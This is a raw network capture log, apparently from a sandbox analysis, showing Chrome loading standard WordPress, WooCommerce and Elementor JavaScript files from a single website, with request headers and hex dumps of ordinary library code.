2025-01-15 02:37:11 UTC	799	OUT	GET /wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.6.2.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:11 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:11 GMT Content-Type: application/javascript Content-Length: 1834 Last-Modified: Fri, 11 Mar 2022 16:02:14 GMT Connection: close Vary: Accept-Encoding ETag: "622b7286-72a" Expires: Thu, 15 Jan 2026 02:37:11 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:11 UTC	1834	IN	Data Raw: 2f 2a 21 0a 20 2a 20 4a 61 76 61 53 63 72 69 70 74 20 43 6f 6f 6b 69 65 20 76 32 2e 31 2e 34 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 73 2d 63 6f 6f 6b 69 65 2f 6a 73 2d 63 6f 6f 6b 69 65 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 30 36 2c 20 32 30 31 35 20 4b 6c 61 75 73 20 48 61 72 74 6c 20 26 20 46 61 67 6e 65 72 20 42 72 61 63 6b 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 2c 6f 2c 74 3d 21 31 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 26 26 28 64 65 66 69 6e 65 28 65 29 2c 74 3d 21 30 29 2c 22 6f 62 6a 65 63 74 Data Ascii: /! JavaScript Cookie v2.1.4 * https://github.com/js-cookie/js-cookie * * Copyright 2006, 2015 Klaus Hartl & Fagner Brack * Released under the MIT license */!function(e){var n,o,t=!1;"function"==typeof define&&define.amd&&(define(e),t=!0),"object

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49812	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	957	OUT	GET /wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 19142 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-4ac6" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	15956	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 2c 72 2c 65 3b 72 3d 7b 7d 2c 28 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 72 5b 74 5d 29 72 65 74 75 72 6e 20 72 5b 74 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 72 5b 74 5d 3d 7b 69 3a 74 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 6e 5b 74 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 65 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 29 2e 6d 3d 6e 3d 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 72 28 31 29 2c 72 28 36 37 29 2c 72 28 36 38 29 2c 72 28 37 32 29 2c 72 28 37 39 29 2c 74 2e 65 78 70 6f 72 74 73 3d 72 28 38 35 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e Data Ascii: !function(t){"use strict";var n,r,e;r={},(e=function(t){if(r[t])return r[t].exports;var o=r[t]={i:t,l:!1,exports:{}};return n[t].call(o.exports,o,o.exports,e),o.l=!0,o.exports}).m=n=[function(t,n,r){r(1),r(67),r(68),r(72),r(79),t.exports=r(85)},function(n
2025-01-15 02:37:12 UTC	3186	IN	Data Raw: 75 72 6e 20 6e 21 3d 3d 74 26 26 63 28 6e 29 2c 68 3f 67 28 74 68 69 73 2c 6e 29 3a 66 28 64 28 74 68 69 73 29 2c 28 72 3d 6e 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 72 65 74 75 72 6e 20 72 21 3d 3d 74 3f 2b 72 28 6e 2c 65 29 7c 7c 30 3a 65 21 3d 65 3f 2d 31 3a 6e 21 3d 6e 3f 31 3a 30 3d 3d 3d 6e 26 26 30 3d 3d 3d 65 3f 30 3c 31 2f 6e 26 26 31 2f 65 3c 30 3f 31 3a 2d 31 3a 65 3c 6e 7d 29 29 3b 76 61 72 20 72 7d 29 2c 21 68 7c 7c 69 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 65 3d 72 28 38 31 29 2c 6f 3d 4d 61 74 68 2e 66 6c 6f 6f 72 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 6c 65 6e 67 74 68 2c 66 3d 6f 28 72 2f 32 29 3b 72 65 74 75 72 6e 20 72 3c 38 3f 75 28 74 2c 6e 29 3a 63 28 74 2c 69 28 Data Ascii: urn n!==t&&c(n),h?g(this,n):f(d(this),(r=n,function(n,e){return r!==t?+r(n,e)\|\|0:e!=e?-1:n!=n?1:0===n&&0===e?0<1/n&&1/e<0?1:-1:e<n}));var r}),!h\|\|i)},function(t,n,r){var e=r(81),o=Math.floor,i=function(t,n){var r=t.length,f=o(r/2);return r<8?u(t,n):c(t,i(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49811	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	970	OUT	GET /wp-includes/js/dist/hooks.min.js?ver=c6d64f2cb8f5c6bb49caca37f8828ce3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 4910 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-132e" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	4910	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 7b 64 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 72 29 6e 2e 6f 28 72 2c 65 29 26 26 21 6e 2e 6f 28 74 2c 65 29 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 72 5b 65 5d 7d 29 7d 2c 6f 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 74 29 7d 2c 72 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 22 75 6e Data Ascii: /! This file is auto-generated /!function(){"use strict";var n={d:function(t,r){for(var e in r)n.o(r,e)&&!n.o(t,e)&&Object.defineProperty(t,e,{enumerable:!0,get:r[e]})},o:function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},r:function(n){"un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49810	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	969	OUT	GET /wp-includes/js/dist/i18n.min.js?ver=ebee46757c6a411e38fd079a7ac71d94 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 10222 Last-Modified: Thu, 26 May 2022 06:25:51 GMT Connection: close Vary: Accept-Encoding ETag: "628f1d6f-27ee" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	10222	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 39 37 35 36 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 65 2c 72 2c 69 3d 30 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 76 61 72 20 6f 2c 61 2c 73 3d 65 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 3a 66 6f 72 28 3b 73 3b 29 7b 69 66 28 73 2e 61 72 67 73 2e 6c 65 6e 67 74 68 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 66 6f 72 28 61 3d 30 3b 61 3c 75 3b 61 2b 2b 29 69 66 28 73 2e 61 72 67 73 5b 61 5d 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 61 5d 29 7b 73 3d 73 2e 6e 65 78 74 3b 63 6f Data Ascii: /! This file is auto-generated /!function(){var t={9756:function(t){t.exports=function(t,n){var e,r,i=0;function o(){var o,a,s=e,u=arguments.length;t:for(;s;){if(s.args.length===arguments.length){for(a=0;a<u;a++)if(s.args[a]!==arguments[a]){s=s.next;co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49813	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	794	OUT	GET /wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=6.2.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 2938 Last-Modified: Fri, 11 Mar 2022 16:02:14 GMT Connection: close Vary: Accept-Encoding ETag: "622b7286-b7a" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	2938	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 63 5f 63 61 72 74 5f 66 72 61 67 6d 65 6e 74 73 5f 70 61 72 61 6d 73 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 74 3d 21 30 2c 6f 3d 77 63 5f 63 61 72 74 5f 66 72 61 67 6d 65 6e 74 73 5f 70 61 72 61 6d 73 2e 63 61 72 74 5f 68 61 73 68 5f 6b 65 79 3b 74 72 79 7b 74 3d 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 69 6e 20 77 69 6e 64 6f 77 26 26 6e 75 6c 6c 21 3d 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2c 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 77 63 22 2c 22 74 65 73 74 22 29 2c 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 72 65 Data Ascii: jQuery(function(r){if("undefined"==typeof wc_cart_fragments_params)return!1;var t=!0,o=wc_cart_fragments_params.cart_hash_key;try{t="sessionStorage"in window&&null!==window.sessionStorage,window.sessionStorage.setItem("wc","test"),window.sessionStorage.re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49809	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	969	OUT	GET /wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.7.3 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 21417 Last-Modified: Thu, 04 Aug 2022 07:37:32 GMT Connection: close Vary: Accept-Encoding ETag: "62eb773c-53a9" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	15956	IN	Data Raw: 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 2d 70 72 6f 20 2d 20 76 33 2e 37 2e 33 20 2d 20 33 31 2d 30 37 2d 32 30 32 32 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 5f 70 72 6f 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 65 6c 65 6d 65 6e 74 6f 72 5f 70 72 6f 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 31 39 5d 2c 7b 32 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 73 3d 6e 28 33 32 30 33 29 3b 6e 28 34 32 34 32 29 3b 76 61 72 20 69 3d 73 28 6e 28 34 37 37 34 29 29 2c 6f 3d 73 28 6e 28 39 35 37 35 29 29 2c 72 3d 73 28 6e 28 36 32 35 34 29 29 2c 61 3d 73 28 6e 28 35 31 36 31 29 29 2c 6c 3d 73 28 6e 28 35 30 33 39 29 29 2c 63 3d 73 28 6e 28 39 32 31 30 29 29 3b 63 6c Data Ascii: /! elementor-pro - v3.7.3 - 31-07-2022 /(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro\|\|[]).push([[819],{2:(e,t,n)=>{"use strict";var s=n(3203);n(4242);var i=s(n(4774)),o=s(n(9575)),r=s(n(6254)),a=s(n(5161)),l=s(n(5039)),c=s(n(9210));cl
2025-01-15 02:37:12 UTC	5461	IN	Data Raw: 2e 65 6c 65 6d 65 6e 74 73 2e 24 70 61 72 65 6e 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 65 2e 63 6c 61 73 73 65 73 2e 70 61 72 65 6e 74 29 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3d 3d 3d 65 2e 74 79 70 65 26 26 28 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 65 2e 63 6c 61 73 73 65 73 2e 62 61 63 6b 67 72 6f 75 6e 64 54 79 70 65 29 2c 74 68 69 73 2e 72 65 6d 6f 76 65 42 61 63 6b 67 72 6f 75 6e 64 4c 61 79 65 72 28 29 29 7d 6f 6e 49 6e 69 74 28 29 7b 73 75 70 65 72 2e 6f 6e 49 6e 69 74 28 29 3b 63 6f 6e 73 74 20 65 3d 74 68 69 73 2e 67 65 74 53 65 74 74 69 6e 67 73 28 29 3b 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 3d 65 2e 24 65 6c 65 6d 65 6e 74 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 2e 24 70 61 72 65 6e 74 3d 74 68 69 Data Ascii: .elements.$parent.removeClass(e.classes.parent),"background"===e.type&&(this.$element.removeClass(e.classes.backgroundType),this.removeBackgroundLayer())}onInit(){super.onInit();const e=this.getSettings();this.$element=e.$element,this.elements.$parent=thi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49814	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	791	OUT	GET /wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=6.2.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 2139 Last-Modified: Fri, 11 Mar 2022 16:02:14 GMT Connection: close Vary: Accept-Encoding ETag: "622b7286-85b" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	2139	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 73 29 7b 73 28 22 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6f 72 64 65 72 69 6e 67 22 29 2e 6f 6e 28 22 63 68 61 6e 67 65 22 2c 22 73 65 6c 65 63 74 2e 6f 72 64 65 72 62 79 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 28 74 68 69 73 29 2e 63 6c 6f 73 65 73 74 28 22 66 6f 72 6d 22 29 2e 74 72 69 67 67 65 72 28 22 73 75 62 6d 69 74 22 29 7d 29 2c 73 28 22 69 6e 70 75 74 2e 71 74 79 3a 6e 6f 74 28 2e 70 72 6f 64 75 63 74 2d 71 75 61 6e 74 69 74 79 20 69 6e 70 75 74 2e 71 74 79 29 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 70 61 72 73 65 46 6c 6f 61 74 28 73 28 74 68 69 73 29 2e 61 74 74 72 28 22 6d 69 6e 22 29 29 3b 30 3c 3d 6f 26 26 70 61 72 73 65 46 6c 6f 61 74 28 73 28 74 68 69 73 Data Ascii: jQuery(function(s){s(".woocommerce-ordering").on("change","select.orderby",function(){s(this).closest("form").trigger("submit")}),s("input.qty:not(.product-quantity input.qty)").each(function(){var o=parseFloat(s(this).attr("min"));0<=o&&parseFloat(s(this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49815	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:11 UTC	977	OUT	GET /wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:12 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:12 GMT Content-Type: application/javascript Content-Length: 12198 Last-Modified: Thu, 04 Aug 2022 07:37:28 GMT Connection: close Vary: Accept-Encoding ETag: "62eb7738-2fa6" Expires: Thu, 15 Jan 2026 02:37:12 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:12 UTC	12198	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 57 61 79 70 6f 69 6e 74 28 6f 70 74 69 6f 6e 73 29 7b 69 66 28 21 6f 70 74 69 6f 6e 73 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 4e 6f 20 6f 70 74 69 6f 6e 73 20 70 61 73 73 65 64 20 74 6f 20 57 61 79 70 6f 69 6e 74 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 69 66 28 21 6f 70 74 69 6f 6e 73 2e 65 6c 65 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 4e 6f 20 65 6c 65 6d 65 6e 74 20 6f 70 74 69 6f 6e 20 70 61 73 73 65 64 20 74 6f 20 57 61 79 70 6f 69 6e 74 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 69 66 28 21 6f 70 74 69 6f 6e 73 2e 68 61 6e 64 6c 65 72 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 4e 6f 20 68 61 Data Ascii: !function(){"use strict";function Waypoint(options){if(!options)throw new Error("No options passed to Waypoint constructor");if(!options.element)throw new Error("No element option passed to Waypoint constructor");if(!options.handler)throw new Error("No ha

